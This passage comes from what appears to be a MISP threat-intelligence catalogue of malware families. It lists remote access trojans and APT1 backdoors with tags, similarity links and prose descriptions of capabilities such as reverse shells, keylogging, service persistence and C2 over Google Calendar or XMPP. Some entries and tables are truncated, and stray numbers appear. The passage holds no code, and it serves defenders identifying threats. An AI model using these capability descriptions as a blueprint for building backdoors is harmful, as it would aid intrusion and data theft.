<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kevthehermit/RATDecoders">https://github.com/kevthehermit/RATDecoders</a></td>
</tr>
</tbody>
</table>

**pandora**
Remote Access Trojan

The tag is: `misp-galaxy:tool="pandora"`

*View relationships graph*

pandora has relationships with:

- similar: `misp-galaxy:malpedia="Pandora"` with `estimative-language:likelihood-probability="almost-certain"`

*Table 11782. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kevthehermit/RATDecoders">https://github.com/kevthehermit/RATDecoders</a></td>
</tr>
</tbody>
</table>

**poisonivy**
Remote Access Trojan

The tag is: `misp-galaxy:tool="poisonivy"`

*View relationships graph*

poisonivy has relationships with:

- similar: `misp-galaxy:rat="PoisonIvy"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:mitre-malware="PoisonIvy - S0012"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Poison Ivy"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:tool="Poison Ivy"` with `estimative-language:likelihood-probability="likely"`

*Table 11783. Table References*
**predatorpain**

Remote Access Trojan

The tag is: `misp-galaxy:tool="predatorpain"`

Table 11784. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kevthehermit/RATDecoders">https://github.com/kevthehermit/RATDecoders</a></td>
</tr>
</tbody>
</table>

**punisher**

Remote Access Trojan

The tag is: `misp-galaxy:tool="punisher"`

Table 11785. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kevthehermit/RATDecoders">https://github.com/kevthehermit/RATDecoders</a></td>
</tr>
</tbody>
</table>

**qrat**

Remote Access Trojan

The tag is: `misp-galaxy:tool="qrat"`

View relationships graph

qrat has relationships with:

- similar: `misp-galaxy:rat="Qarallax"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:malpedia="QRat"` with estimative-language:likelihood-probability="almost-certain"

Table 11786. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kevthehermit/RATDecoders">https://github.com/kevthehermit/RATDecoders</a></td>
</tr>
</tbody>
</table>

**shadowtech**

Remote Access Trojan

The tag is: `misp-galaxy:tool="shadowtech"`
**smallnet**
Remote Access Trojan

The tag is: `misp-galaxy:tool="smallnet"`

**spygate**
Remote Access Trojan

The tag is: `misp-galaxy:tool="spygate"`

**template**
Remote Access Trojan

The tag is: `misp-galaxy:tool="template"`

**tapaoux**
Remote Access Trojan

The tag is: `misp-galaxy:tool="tapaoux"`

View relationships graph

**tapaoux** has relationships with:

- similar: `misp-galaxy:malpedia="Tapaoux"` with `estimative-language:likelihood=7313`
Table 11791. **Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kevthehermit/RATDecoders">https://github.com/kevthehermit/RATDecoders</a></td>
</tr>
</tbody>
</table>

**vantom**

Remote Access Trojan

The tag is: `misp-galaxy:tool="vantom"`

Table 11792. **Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kevthehermit/RATDecoders">https://github.com/kevthehermit/RATDecoders</a></td>
</tr>
</tbody>
</table>

**virusrat**

Remote Access Trojan

The tag is: `misp-galaxy:tool="virusrat"`

Table 11793. **Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kevthehermit/RATDecoders">https://github.com/kevthehermit/RATDecoders</a></td>
</tr>
</tbody>
</table>

**xena**

Remote Access Trojan

The tag is: `misp-galaxy:tool="xena"`

Table 11794. **Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kevthehermit/RATDecoders">https://github.com/kevthehermit/RATDecoders</a></td>
</tr>
</tbody>
</table>

**xtreme**

Remote Access Trojan

The tag is: `misp-galaxy:tool="xtreme"`

Table 11795. **Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kevthehermit/RATDecoders">https://github.com/kevthehermit/RATDecoders</a></td>
</tr>
</tbody>
</table>
**darkddoser**

Remote Access Trojan

The tag is: `misp-galaxy:tool="darkddoser"`

**Table 11796. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kevthehermit/RATDecoders">https://github.com/kevthehermit/RATDecoders</a></td>
</tr>
</tbody>
</table>

**jspy**

Remote Access Trojan

The tag is: `misp-galaxy:tool="jspy"`

View relationships graph

jspy has relationships with:

- similar: `misp-galaxy:malpedia="jSpy"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 11797. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/kevthehermit/RATDecoders">https://github.com/kevthehermit/RATDecoders</a></td>
</tr>
</tbody>
</table>

**xrat**

Remote Access Trojan

The tag is: `misp-galaxy:tool="xrat"`

View relationships graph

xrat has relationships with:

- similar: `misp-galaxy:malpedia="XRat"` with `estimative-language:likelihood-probability="almost-certain"
- used-by: `misp-galaxy:threat-actor="Kimsuky"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:rat="xRAT"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:ransomware="XRat"` with `estimative-language:likelihood-probability="likely"`
PupyRAT

Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python.

The tag is: `misp-galaxy:tool="PupyRAT"`

ELF_IMEIJ

Linux Arm malware spread via RFIs in cgi-bin scripts. This backdoor executes commands from a remote malicious user, effectively compromising the affected system. It connects to a website to send and receive information.

The tag is: `misp-galaxy:tool="ELF_IMEIJ"`

KHRAT

KHRAT is a small backdoor that has three exports (functions), namely, K1, K2, and K3. K1 checks if the current user is an administrator. If not, it uninstalls itself by calling the K2 function.

The tag is: `misp-galaxy:tool="KHRAT"`

View relationships graph

KHRAT has relationships with:

- similar: `misp-galaxy:malpedia="KHRAT"` with `estimative-language:likelihood-probability="likely"`

7316
**Trochilus**

The Trochilus RAT is a threatening RAT (Remote Access Trojan) that may evade many anti-virus programs. The Trochilus RAT is currently being used as part of an extended threat campaign in South East Asia. The first appearance of the Trochilus RAT in this campaign, which has been active since August of 2015, was first detected in the summer of 2015. The Trochilus RAT is currently being used against civil society organizations and government computers in the South East Asia region, particularly in attacks directed towards the government of Myanmar.

The tag is: `misp-galaxy:tool="Trochilus"`

View relationships graph

Trochilus has relationships with:

- similar: `misp-galaxy:rat="Trochilus"` with `estimative-language:likelihood-probability="likely"

Table 11802. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.enigmasoftware.com/trochilusrat-removal/">http://www.enigmasoftware.com/trochilusrat-removal/</a></td>
</tr>
</tbody>
</table>

**MoonWind**

The MoonWind sample used for this analysis was compiled with a Chinese compiler known as BlackMoon, the same compiler used for the BlackMoon banking Trojan. While a number of attributes match the BlackMoon banking Trojan, the malware is not the same. Both malware families were simply compiled using the same compiler, and it was the BlackMoon artifacts that resulted in the naming of the BlackMoon banking Trojan. But because this new sample is different from the BlackMoon banking Trojan,

The tag is: `misp-galaxy:tool="MoonWind"`

View relationships graph

MoonWind has relationships with:

- similar: `misp-galaxy:rat="MoonWind"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:mitre-malware="MoonWind - S0149"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:malpedia="MoonWind"` with `estimative-language:likelihood-probability="likely"

Table 11803. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Chrysaor

Chrysaor is spyware believed to be created by NSO Group Technologies, specializing in the creation and sale of software and infrastructure for targeted attacks. Chrysaor is believed to be related to the Pegasus spyware that was first identified on iOS and analyzed by Citizen Lab and Lookout.

The tag is: `misp-galaxy:tool="Chrysaor"`

Chrysaor is also known as:

- Pegasus
- Pegasus spyware

View relationships graph

Chrysaor has relationships with:

- similar: `misp-galaxy:mitre-malware="Pegasus for iOS - S0289"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:mitre-malware="Pegasus for Android - S0316"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Chrysaor"` with `estimative-language:likelihood-probability="likely"

Table 11804. Table References

Links


Sathurbot

The trojan serves as a backdoor. It can be controlled remotely.

The tag is: `misp-galaxy:tool="Sathurbot"`

View relationships graph

Sathurbot has relationships with:

- similar: `misp-galaxy:malpedia="Sathurbot"` with `estimative-language:likelihood-probability="likely"

Table 11805. Table References

Links

https://www.welivesecurity.com/2017/04/06/sathurbot-distributed-wordpress-password-attack/
AURIGA

The AURIGA malware family shares a large amount of functionality with the BANGAT backdoor. The malware family contains functionality for keystroke logging, creating and killing processes, performing file system and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. The AURIGA malware contains a driver component which is used to inject the malware DLL into other processes. This driver can also perform process and IP connection hiding. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.

The tag is: misp-galaxy:tool="AURIGA"

View relationships graph

AURIGA has relationships with:

• similar: misp-galaxy:malpedia="Auriga" with estimative-language:likelihood-probability="almost-certain"

Table 11806. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html">http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html</a></td>
</tr>
</tbody>
</table>

BANGAT

The BANGAT malware family shares a large amount of functionality with the AURIGA backdoor. The malware family contains functionality for keylogging, creating and killing processes, performing filesystem and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. In addition, the malware also implements a custom VNC like protocol which sends screenshots of the desktop to the C2 server and accepts keyboard and mouse input. The malware communicates to its C2 servers using SSL, with self signed SSL certificates. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.

The tag is: misp-galaxy:tool="BANGAT"

View relationships graph

BANGAT has relationships with:

• similar: misp-galaxy:malpedia="bangat" with estimative-language:likelihood-probability="almost-certain"

Table 11807. Table References
BISCUIT

BISCUIT provides attackers with full access to an infected host. BISCUIT capabilities include launching an interactive command shell, enumerating servers on a Windows network, enumerating and manipulating process, and transferring files. BISCUIT communicates using a custom protocol, which is then encrypted using SSL. Once installed BISCUIT will attempt to beacon to its command/control servers approximately every 10 or 30 minutes. It will beacon its primary server first, followed by a secondary server. All communication is encrypted with SSL (OpenSSL 0.9.8i).

The tag is: *misp-galaxy:tool="BISCUIT"*

BISCUIT has relationships with:

- similar: *misp-galaxy:mitre-malware="BISCUIT - S0017"* with *estimative-language:likelihood-probability="likely"*
- similar: *misp-galaxy:malpedia="Biscuit"* with *estimative-language:likelihood-probability="almost-certain"*

Table 11808. Table References

BOUNCER

BOUNCER will load an extracted DLL into memory, and then will call the DLL’s dump export. The dump export is called with the parameters passed via the command line to the BOUNCER executable. It requires at least two arguments, the IP and port to send the password dump information. It can accept at most five arguments, including a proxy IP, port and an x.509 key for SSL authentication. The DLL backdoor has the capability to execute arbitrary commands, collect database and server information, brute force SQL login credentials, launch arbitrary programs, create processes and threads, delete files, and redirect network traffic.

The tag is: *misp-galaxy:tool="BOUNCER"*

BOUNCER has relationships with:

- similar: *misp-galaxy:malpedia="Bouncer"* with *estimative-language:likelihood-probability="almost-certain"*
CAALENDAR

This family of malware uses Google Calendar to retrieve commands and send results. It retrieves event feeds associated with Google Calendar, where each event contains commands from the attacker for the malware to perform. Results are posted back to the event feed. The malware authenticates with Google using the hard coded email address and passwords. The malware uses the deprecated ClientLogin authentication API from Google. The malware is registered as a service dll as a persistence mechanism. Artifacts of this may be found in the registry.

The tag is: misp-galaxy:tool="CAALENDAR"

COMBOS

The COMBOS malware family is an HTTP based backdoor. The backdoor is capable of file upload, file download, spawning a interactive reverse shell, and terminating its own process. The backdoor may decrypt stored Internet Explorer credentials from the local system and transmit the credentials to the C2 server. The COMBOS malware family does not have any persistence mechanisms built into itself.

The tag is: misp-galaxy:tool="COMBOS"
**COOKIEBAG**

his family of malware is a backdoor capable of file upload and download as well as providing remote interactive shell access to the compromised machine. Communication with the Command & Control (C2) servers uses a combination of single-byte XOR and Base64 encoded data in the Cookie and Set-Cookie HTTP header fields. Communication with the C2 servers is over port 80. Some variants install a registry key as means of a persistence mechanism. The hardcoded strings cited include a string of a command in common with several other APT1 families.

The tag is: `misp-galaxy:tool="COOKIEBAG"`

**DAIRY**

Members of this malware family are backdoors that provide file downloading, process listing, process killing, and reverse shell capabilities. This malware may also add itself to the Authorized Applications list for the Windows Firewall.

The tag is: `misp-galaxy:tool="DAIRY"`
GETMAIL

Members of this family of malware are utilities designed to extract email messages and attachments from Outlook PST files. One part of this utility set is an executable, one is a dll. The malware may create a registry artifact related to the executable.

The tag is: misp-galaxy:tool="GETMAIL"

View relationships graph

GETMAIL has relationships with:

• similar: misp-galaxy:malpedia="GetMail" with estimative-language:likelihood-probability="almost-certain"

GDOCUPLOAD

This family of malware is a utility designed to upload files to Google Docs. Nearly all communications are with docs.google.com are SSL encrypted. The malware does not use Google’s published API to interact with their services. The malware does not currently work with Google Docs. It does not detect HTTP 302 redirections and will get caught in an infinite loop attempting to parse results from Google that are not present.

The tag is: misp-galaxy:tool="GDOCUPLOAD"

GLOOXMAIL

GLOOXMAIL communicates with Google’s Jabber/XMPP servers and authenticates with a hard-coded username and password. The malware can accept commands over XMPP that includes file upload and download, provide a remote shell, sending process listings, and terminating specified processes. The malware makes extensive use of the open source gloox library (http://camaya.net/gloox/, version 0.9.9.12) to communicate using the Jabber/XMPP protocol. All communications with the Google XMPP server are encrypted.

The tag is: misp-galaxy:tool="GLOOXMAIL"

GLOOXMAIL is also known as:

• TROJAN.GTALK
GLOOXMAIL has relationships with:

- similar: misp-galaxy:mitre-malware="GLOOXMAIL - S0026" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="GlooxMail" with estimative-language:likelihood-probability="almost-certain"

Table 11816. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html">http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html</a></td>
</tr>
</tbody>
</table>

**GOGGLES**

A family of downloader malware, that retrieves an encoded payload from a fixed location, usually in the form of a file with the .jpg extension. Some variants have just an .exe that acts as a downloader, others have an .exe launcher that runs as a service and then loads an associated .dll of the same name that acts as the downloader. This IOC is targeted at the downloaders only. After downloading the file, the malware decodes the downloaded payload into an .exe file and launches it. The malware usually stages the files it uses in the %TEMP% directory or the %WINDIR%\Temp directory.

The tag is: misp-galaxy:tool="GOGGLES"

GOGGLES is also known as:

- TROJAN.FOXY

Table 11817. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html">http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html</a></td>
</tr>
</tbody>
</table>

**GREENCAT**

Members of this family are full featured backdoors that communicates with a Web-based Command & Control (C2) server over SSL. Features include interactive shell, gathering system info, uploading and downloading files, and creating and killing processes, Malware in this family usually communicates with a hard-coded domain using SSL on port 443. Some members of this family rely on launchers to establish persistence mechanism for them. Others contains functionality that
allows it to install itself, replacing an existing Windows service, and uninstall itself. Several variants use %SystemRoot%\Tasks or %WinDir%\Tasks as working directories, additional malware artifacts may be found there.

The tag is: misp-galaxy:tool="GREENCAT"

Table 11818. Table References

Links

http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

**HACKFASE**

This family of malware is a backdoor that provides reverse shell, process creation, system statistics collection, process enumeration, and process termination capabilities. This family is designed to be a service DLL and does not contain an installation mechanism. It usually communicates over port 443. Some variants use their own encryption, others use SSL.

The tag is: misp-galaxy:tool="HACKFASE"

Table 11819. Table References

Links

http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

**HELAUTO**

This family of malware is designed to operate as a service and provides remote command execution and file transfer capabilities to a fixed IP address or domain name. All communication with the C2 server happens over port 443 using SSL. This family can be installed as a service DLL. Some variants allow for uninstallation.

The tag is: misp-galaxy:tool="HELAUTO"

View relationships graph

HELAUTO has relationships with:

- similar: misp-galaxy:malpedia="Helauto" with estimative-language:likelihood-probability="almost-certain"

Table 11820. Table References

Links

http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html
KURTON

This family of malware is a backdoor that tunnels its connection through a preconfigured proxy. The malware communicates with a remote command and control server over HTTPS via the proxy. The malware installs itself as a Windows service with a service name supplied by the attacker but defaults to IPRIP if no service name is provided during install.

The tag is: misp-galaxy:tool="KURTON"

View relationships graph

KURTON has relationships with:

- similar: misp-galaxy:malpedia="Kurton" with estimative-language:likelihood-probability="almost-certain"

Table 11821. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html">http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html</a></td>
</tr>
</tbody>
</table>

LIGHTBOLT

LIGHTBOLT is a utility with the ability to perform HTTP GET requests for a list of user-specified URLs. The responses of the HTTP requests are then saved as MHTML files, which are added to encrypted RAR files. LIGHTBOLT has the ability to use software certificates for authentication.

The tag is: misp-galaxy:tool="LIGHTBOLT"

Table 11822. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html">http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html</a></td>
</tr>
</tbody>
</table>

LIGHTDART

LIGHTDART is a tool used to access a pre-configured web page that hosts an interface to query a database or data set. The tool then downloads the results of a query against that web page to an encrypted RAR file. This RAR file (1.rar) is renamed and uploaded to an attacker controlled FTP server, or uploaded via an HTTP POST with a .jpg extension. The malware will execute this search once a day. The target webpage usually contains information useful to the attacker, which is updated on a regular basis. Examples of targeted information include weather information or ship coordinates.

The tag is: misp-galaxy:tool="LIGHTDART"

Table 11823. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
LONGRUN

LONGRUN is a backdoor designed to communicate with a hard-coded IP address and provide the attackers with a custom interactive shell. It supports file uploads and downloads, and executing arbitrary commands on the compromised machine. When LONGRUN executes, it first loads configuration data stored as an obfuscated string inside the PE resource section. The distinctive string thequickbrownfxjmpsvalzydg is used as part of the input to the decoding algorithm. When the configuration data string is decoded it is parsed and treated as an IP and port number. The malware then connects to the host and begins interacting with it over a custom protocol.

The tag is: misp-galaxy:tool="LONGRUN"

MANITSME

This family of malware will beacon out at random intervals to the remote attacker. The attacker can run programs, execute arbitrary commands, and easily upload and download files. This IOC looks for both the dropper file and the backdoor.

The tag is: misp-galaxy:tool="MANITSME"

View relationships graph

MANITSME has relationships with:

- similar: misp-galaxy:malpedia="ManItsMe" with estimative-language:likelihood-probability="almost-certain"

MAPIGET

This malware utility is a set of two files that operate in conjunction to extract email messages and attachments from an Exchange server. In order to operate successfully, these programs require authentication credentials for a user on the Exchange server, and must be run from a machine joined to the domain that has Microsoft Outlook installed (or equivalent software that provides the Microsoft 'Messaging API' (MAPI) service).

The tag is: misp-galaxy:tool="MAPIGET"
MINIASP

This family of malware consists of backdoors that attempt to fetch encoded commands over HTTP. The malware is capable of downloading a file, downloading and executing a file, executing arbitrary shell commands, or sleeping a specified interval.

The tag is: `misp-galaxy:tool="MINIASP"`

NEWSREELS

The NEWSREELS malware family is an HTTP based backdoor. When first started, NEWSREELS decodes two strings from its resources section. These strings are both used as C2 channels, one URL is used as a beacon URL (transmitting) and the second URL is used to get commands (receiving). The NEWSREELS malware family is capable of performing file uploads, downloads, creating processes or creating an interactive reverse shell.

The tag is: `misp-galaxy:tool="NEWSREELS"`
The SEASALT malware family communicates via a custom binary protocol. It is capable of gathering some basic system information, file system manipulation, file upload and download, process creation and termination, and spawning an interactive reverse shell. The malware maintains persistence by installing itself as a service.

The tag is: `misp-galaxy:tool="SEASALT"`

STARSYPOUND provides an interactive remote shell over an obfuscated communications channel. When it is first run, it loads a string (from the executable PE resource section) containing the beacon IP address and port. The malware sends the beacon string "(SY)# <HOSTNAME>" to the remote system, where <HOSTNAME> is the hostname of the victim system. The remote host responds with a packet that also begins with the string "(SY)# cmd". This causes the malware to launch a new cmd.exe child process. Further communications are forwarded to the cmd.exe child process to execute. The commands sent to the shell and their responses are obfuscated when sent over the network.

The tag is: `misp-galaxy:tool="STARSYPOUND"`
**SWORD**

This family of malware provides a backdoor over the network to the attackers. It is configured to connect to a single host and offers file download over HTTP, program execution, and arbitrary execution of commands through a cmd.exe instance.

The tag is: *misp-galaxy:tool="SWORD"*

**View relationships graph**

SWORD has relationships with:

- similar: *misp-galaxy:malpedia="Sword"* with estimative-language:likelihood-probability="almost-certain"

**TABMSGSQAL**

This malware family is a full-featured backdoor capable of file uploading and downloading, arbitrary execution of programs, and providing a remote interactive command shell. All communications with the C2 server are sent over HTTP to a static URL, appending various URL parameters to the request. Some variants use a slightly different URL.

The tag is: *misp-galaxy:tool="TABMSGSQAL"*

TABMSGSQAL is also known as:

- TROJAN LETSGO

**View relationships graph**

TABMSGSQAL has relationships with:

- similar: *misp-galaxy:malpedia="TabMsgSQL"* with estimative-language:likelihood-probability="almost-certain"
**TARSIP-ECLIPSE**

The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2 DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-ECLIPSE family is distinguished by the presence of 'eclipse' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.

The tag is: *misp-galaxy:tool="TARSIP-ECLIPSE"*

*Table 11833. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html">http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html</a></td>
</tr>
</tbody>
</table>

**TARSIP-MOON**

The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2 DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-MOON family is distinguished by the presence of 'moon' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.

The tag is: *misp-galaxy:tool="TARSIP-MOON"*

*Table 11834. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html">http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html</a></td>
</tr>
</tbody>
</table>

**WARP**

The WARP malware family is an HTTP based backdoor written in C++, and the majority of its code base is borrowed from source code available in the public domain. Network communications are implemented using the same WWW client library (w3c.cpp) available from www.dankrusi.com/file_69653F3336383837.html. The malware has system survey functionality (collects hostname, current user, system uptime, CPU speed, etc.) taken directly from the BO2K backdoor available from www.bo2k.com. It also contains the hard disk identification code found at www.winsim.com/diskid32/diskid32.cpp. When the WARP executing remote commands, the malware creates a copy of the `?%SYSTEMROOT%\system32\cmd.exe` file as `?%USERPROFILE%\Temp\~ISUN32.EXE`. The version signature information of the duplicate executable is zeroed out. Some WARP variants maintain persistence through the use of DLL search order hijacking.
WEBC2-ADSPACE

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware is capable of downloading and executing a file. All variants represented here are the same file with different MD5 signatures. This malware attempts to contact its C2 once a week (Thursday at 10:00 AM). It looks for commands inside a set of HTML tags, part of which are in the File Strings indicator term below.

The tag is: misp-galaxy:tool="WEBC2-ADSPACE"

View relationships graph

WEBC2-ADSPACE has relationships with:

- similar: misp-galaxy:malpedia="WebC2-AdSpace" with estimative-language:likelihood-probability="almost-certain"

WEBC2-AUSOV

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware family is a only a downloader which operates over the HTTP protocol with a hard-coded URL. If directed, it has the capability to download, decompress, and execute compressed binaries.

The tag is: misp-galaxy:tool="WEBC2-AUSOV"

View relationships graph

WEBC2-AUSOV has relationships with:

WEBC2-BOLID

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware is a backdoor capable of downloading files and updating its configuration. Communication with the command and control (C2) server uses a combination of single-byte XOR and Base64 encoded data wrapped in standard HTML tags. The malware family installs a registry key as a persistence mechanism.

The tag is: misp-galaxy:tool="WEBC2-BOLID"

View relationships graph

WEBC2-BOLID has relationships with:

- similar: misp-galaxy:malpedia="WebC2-Bolid" with estimative-language:likelihood-probability="almost-certain"

Table 11838. Table References

Links

http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-CLOVER

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The family of malware provides the attacker with an interactive command shell, the ability to upload and download files, execute commands on the system, list processes and DLLs, kill processes, and ping hosts on the local network. Responses to these commands are encrypted and compressed before being POSTed to the server. Some variants copy cmd.exe to Updatasched.exe in a temporary directory, and then may launch that in a process if an interactive shell is called. On initial invocation, the malware also attempts to delete previous copies of the Updatasched.exe file.

The tag is: misp-galaxy:tool="WEBC2-CLOVER"

Table 11839. Table References

Links

http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html
**WEBC2-CSON**

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware act only as downloaders and droppers for other malware. They communicate with a hard-coded C2 server, reading commands embedded in HTML comment fields. Some variants are executables which act upon execution, others are DLLs which can be attached to services or loaded through search order hijacking.

The tag is: `misp-galaxy:tool="WEBC2-CSON"`

**View relationships graph**

WEBC2-CSON has relationships with:

- similar: `misp-galaxy:malpedia="WebC2-Cson"` with estimative-language:likelihood-probability="almost-certain"

**Table 11840. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html">http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html</a></td>
</tr>
</tbody>
</table>

**WEBC2-DIV**

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-DIV variant searches for the strings "div safe:" and "balance" to delimit encoded C2 information. If the decoded string begins with the letter "J" the malware will parse additional arguments in the decoded string to specify the sleep interval to use. WEBC2-DIV is capable of downloading a file, downloading and executing a file, or sleeping a specified interval.

The tag is: `misp-galaxy:tool="WEBC2-DIV"`

**View relationships graph**

WEBC2-DIV has relationships with:

- similar: `misp-galaxy:malpedia="WebC2-DIV"` with estimative-language:likelihood-probability="almost-certain"

**Table 11841. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html">http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html</a></td>
</tr>
</tbody>
</table>
WEBC2-GREENCAT

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware is a variant on the GREENCAT family, using a fixed web C2. This family is a full featured backdoor which provides remote command execution, file transfer, process and service enumeration and manipulation. It installs itself persistently through the current user’s registry Run key.

The tag is: `misp-galaxy:tool="WEBC2-GREENCAT"`

View relationships graph

WEBC2-GREENCAT has relationships with:

• similar: `misp-galaxy:malpedia="WebC2-GreenCat"` with `estimative-language:likelihood-probability="almost-certain"`

Table 11842. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html">http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html</a></td>
</tr>
</tbody>
</table>

WEBC2-HEAD

